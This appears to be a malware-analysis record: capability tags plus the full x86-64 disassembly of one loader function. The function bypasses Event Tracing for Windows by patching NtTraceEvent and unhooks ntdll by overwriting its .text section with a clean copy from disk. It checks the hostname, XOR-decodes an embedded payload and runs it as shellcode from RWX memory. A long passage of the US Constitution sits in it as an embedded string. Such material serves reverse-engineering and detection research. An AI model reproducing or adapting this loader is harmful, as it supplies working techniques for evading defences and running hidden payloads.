Function at 0x140007c60
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Patch event tracing for windows function
Resolve function by parsing pe exports

Disassembly:
push r15
mov eax, 0xab38
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140002560
sub rsp, rax
call fcn.1400015b0
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.kernel32.dll
lea rbx, [rsp + 0xa0]
call rdi
lea rcx, str.User32.dll
mov qword [rsp + 0x48], rax
call rdi
mov rcx, qword [rsp + 0x48]
mov edx, 0xf0677b50
mov rsi, rax
call fcn.140001483
lea rdx, [rsp + 0x80]
mov rcx, rbx
mov dword [rsp + 0x80], 0x10
call rax
mov edx, 0x535044
mov rcx, rsi
call fcn.140001483
mov rcx, rbx
call rax
lea rdx, str.DESKTOP_
mov rcx, rbx
call sub.msvcrt.dll_wcsstr
mov rdx, rax
mov eax, 1
test rdx, rdx
je 0x140007fc2
mov rcx, qword [rsp + 0x48]
xor edx, edx
lea rsi, str.ntdll.dll
xor r13d, r13d
mov dword [rsp + 0x84], edx
mov edx, 0x1ac1e8e1
call fcn.140001483
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, str.NtTraceEvent
lea rdi, [rsp + 0x88]
mov rcx, rax
call rbx
mov rcx, qword [rsp + 0x48]
mov edx, 0x1c6a5211
mov rbx, rax
call fcn.140001483
lea r9, [rsp + 0x84]
mov rcx, rbx
mov r8d, 0x40
mov qword [rsp + 0x50], r9
mov rbp, rax
mov edx, 1
call rbp
mov r9, qword [rsp + 0x50]
mov edx, 1
mov rcx, rbx
mov byte [rbx], 0xc3
mov r8d, dword [rsp + 0x84]
call rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 6
mov qword [rsp + 0x50], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x18
lea r8, [rsp + 0x88]
mov rdx, rax
mov qword [rsp + 0x58], rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov rcx, qword [rsp + 0x48]
mov edx, 0xfd0820
mov r12, qword [rsp + 0x88]
call fcn.140001483
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov qword [rsp + 0x30], rcx
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
mov dword [rsp + 0x28], r8d
mov r8d, 1
mov dword [rsp + 0x20], 3
call rax
mov rcx, qword [rsp + 0x48]
mov edx, 0x71a68244
mov qword [rsp + 0x60], rax
call fcn.140001483
xor r10d, r10d
xor r9d, r9d
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], r10d
mov r8d, 0x1000002
xor edx, edx
mov qword [rsp + 0x28], r9
xor r9d, r9d
call rax
mov rcx, qword [rsp + 0x48]
mov edx, 0x90e5f37
mov qword [rsp + 0x68], rax
call fcn.140001483
xor r11d, r11d
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x20], r11
xor r8d, r8d
mov edx, 4
call rax
movsxd rbx, dword [r12 + 0x3c]
mov qword [rsp + 0x70], rax
add rbx, r12
lea r15, [rbx + 0x18]
cmp r13w, word [rbx + 6]
jae 0x140007f1b
movzx eax, r13w
movzx r10d, word [rbx + 0x14]
lea rdx, str..text
imul rax, rax, 0x28
add r10, r15
lea r14, [r10 + rax]
mov rcx, r14
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140007f13
xor eax, eax
lea r9, [rsp + 0xc0]
mov r8d, 0x40
mov dword [rsp + 0xc0], eax
mov ecx, dword [r14 + 0xc]
mov qword [rsp + 0x78], r9
mov edx, dword [r14 + 8]
add rcx, r12
call rbp
mov esi, dword [r14 + 0xc]
mov rdi, qword [rsp + 0x70]
mov ecx, dword [r14 + 8]
mov r9, qword [rsp + 0x78]
lea rax, [r12 + rsi]
add rsi, rdi
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [r14 + 0xc]
mov edx, dword [r14 + 8]
mov r8d, dword [rsp + 0xc0]
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r13d
jmp 0x140007e81
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call rbx
mov rcx, qword [rsp + 0x60]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, section..data
lea rdx, [rax + 0x31047]
mov rsi, rax
xor byte [rax], 0x41
inc rax
cmp rax, rdx
jne 0x140007f53
mov rcx, rsi
call fcn.140007c10
mov rcx, qword [rsp + 0x48]
mov edx, 0x3283c47
call fcn.140001483
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov edx, 0x31047
call rax
mov ecx, 0x31047
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0xc0]
lea rsi, str.Section_1:_Congress_nAll_legislative_Powers_herein_granted_shall_be_vested_in_a_Congress_of_the_United_States__which_shall_consist_of_a_Senate_and_House_of_Representatives._n_nSection_2:_The_House_of_Representatives_nThe_House_of_Representatives_shall_be_composed_of_Members_chosen_every_second_Year_by_the_People_of_the_several_States__and_the_Electors_in_each_State_shall_have_the_Qualifications_requisite_for_Electors_of_the_most_numerous_Branch_of_the_State_Legislature._n_nNo_Person_shall_be_a_Representative_who_shall_not_have_attained_to_the_Age_of_twenty_five_Years__and_been_seven_Years_a_Citizen_of_the_United_States__and_who_shall_not__when_elected__be_an_Inhabitant_of_that_State_in_which_he_shall_be_chosen._n_nRepresentatives_and_direct_Taxes_shall_be_apportioned_among_the_several_States_which_may_be_included_within_this_Union__according_to_their_respective_Numbers__which_shall_be_determined_by_adding_to_the_whole_Number_of_free_Persons__including_those_bound_to_Service_for_a_Term_of_Years__and_excluding_Indians_not_taxed__three_fifths_of_all_other_Persons._The_actual_Enumeration_shall_be_made_within_three_Years_after_the_first_Meeting_of_the_Congress_of_the_United_States__and_within_every_subsequent_Term_of_ten_Years__in_such_Manner_as_they_shall_by_Law_direct.The_number_of_Representatives_shall_not_exceed_one_for_every_thirty_Thousand__but_each_State_shall_have_at_Least_one_Representative__and_until_such_enumeration_shall_be_made__the_State_of_New_Hampshire_shall_be_entitled_to_chuse_three__Massachusetts_eight__Rhode_Island_and_Providence_Plantations_one__Connecticut_five__New_York_six__New_Jersey_four__Pennsylvania_eight__Delaware_one__Maryland_six__Virginia_ten__North_Carolina_five__South_Carolina_five__and_Georgia_three._n_nWhen_vacancies_happen_in_the_Representation_from_any_State__the_Executive_Authority_thereof_shall_issue_Writs_of_Election_to_fill_such_Vacancies._n_nThe_House_of_Representatives_shall_chuse_their_Speaker_and_other_Officers_and_shall_have_the_sole_Power_of_Impeachment._n_nSection_3:_The_Senate_nThe_Senate_of_the_United_States_shall_be_composed_of_two_Senators_from_each_State__chosen_by_the_Legislature_thereof__for_six_Years__and_each_Senator_shall_have_one_Vote._n_nImmediately_after_they_shall_be_assembled_in_Consequence_of_the_first_Election__they_shall_be_divided_as_equally_as_may_be_into_three_Classes._The_Seats_of_the_Senators_of_the_first_Class_shall_be_vacated_at_the_Expiration_of_the_second_Year__of_the_second_Class_at_the_Expiration_of_the_fourth_Year__and_of_the_third_Class_at_the_Expiration_of_the_sixth_Year__so_that_one_third_may_be_chosen_every_second_Year__and_if_Vacancies_happen_by_Resignation__or_otherwise__during_the_Recess_of_the_Legislature_of_any_State__the_Executive_thereof_may_make_temporary_Appointments_until_the_next_Meeting_of_the_Legislature__which_shall_then_fill_such_Vacancies._n_nNo_Person_shall_be_a_Senator_who_shall_not_have_attained_to_the_Age_of_thirty_Years__and_been_nine_Years_a_Citizen_of_the_United_States__and_who_shall_not__when_elected__be_an_Inhabitant_of_that_State_for_which_he_shall_be_chosen._n_nThe_Vice_President_of_the_United_States_shall_be_President_of_the_Senate__but_shall_have_no_Vote__unless_they_be_equally_divided._n_nThe_Senate_shall_chuse_their_other_Officers__and_also_a_President_pro_tempore__in_the_Absence_of_the_Vice_President__or_when_he_shall_exercise_the_Office_of_President_of_the_United_States._n_nThe_Senate_shall_have_the_sole_Power_to_try_all_Impeachments._When_sitting_for_that_Purpose__they_shall_be_on_Oath_or_Affirmation._When_the_President_of_the_United_States_is_tried__the_Chief_Justice_shall_preside:_And_no_Person_shall_be_convicted_without_the_Concurrence_of_two_thirds_of_the_Members_present._n_nJudgment_in_Cases_of_Impeachment_shall_not_extend_further_than_to_removal_from_Office__and_disqualification_to_hold_and_enjoy_any_Office_of_honor__Trust_or_Profit_under_the_United_States:_but_the_Party_convicted_shall_nevertheless_be_liable_and_subject_to_Indictment__Trial__Judgment_and_Punishment__according_to_Law._n_nSection_4:_Electi
call rax
mov ecx, 0xaa6f
lea rdx, [rsp + 0xc0]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x14003b065]
call fcn.140007c10
xor eax, eax
add rsp, 0xab38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret